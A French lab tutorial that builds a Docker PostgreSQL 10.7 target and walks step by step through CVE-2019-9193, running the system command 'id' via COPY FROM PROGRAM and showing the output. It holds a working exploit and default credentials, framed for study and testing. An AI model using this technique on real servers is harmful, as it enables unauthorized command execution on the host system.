
Laboratoire basé sur Docker démontrant l'exécution arbitraire de commandes PostgreSQL via COPY FROM PROGRAM (CVE-2019-9193), avec un PoC étape par étape pour les tests de sécurité et la formation.
PostgreSQL est un système de gestion de base de données relationnelle open-source puissant. Une vulnérabilité présente dans les versions 9.3 à 11 permet aux administrateurs ou aux utilisateurs disposant des privilèges COPY TO/FROM PROGRAM d'exécuter des commandes arbitraires sur le système.
docker-compose.yml)Créez un fichier docker-compose.yml avec le contenu suivant :
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Exécutez le conteneur avec la commande suivante :
docker compose up -d
Vérifiez que le conteneur est en cours d'exécution :
docker ps
La sortie devrait montrer le conteneur PostgreSQL à l'écoute sur le port 5432.
Si vous n'avez pas le client psql installé, vous pouvez le faire avec :
apt-get install postgresql-client
Connectez-vous directement à la base de données depuis Kali :
psql -h localhost -p 5432 -U postgres
Le mot de passe vous sera demandé, saisissez :
postgres
Une fois connecté à la console PostgreSQL, exécutez les commandes suivantes pour exploiter la vulnérabilité :
-- Supprime la table si elle existe
DROP TABLE IF EXISTS cmd_exec;
-- Crée une nouvelle table pour stocker la sortie de la commande
CREATE TABLE cmd_exec(cmd_output text);
-- Exécute la commande 'id' via la fonction COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Affiche la sortie de la commande
SELECT * FROM cmd_exec;
Vous pouvez tout exécuter directement depuis la ligne de commande :
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
Si l'exploit a réussi, vous devriez voir une sortie similaire :
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
Appuyez sur \q pour quitter :
\q
Cette vulnérabilité permet l'exécution arbitraire de commandes avec des privilèges administrateur. Utilisez-la uniquement dans des environnements contrôlés et à des fins d'étude ou de vérification. Exploiter cette vulnérabilité sur des systèmes non autorisés est illégal.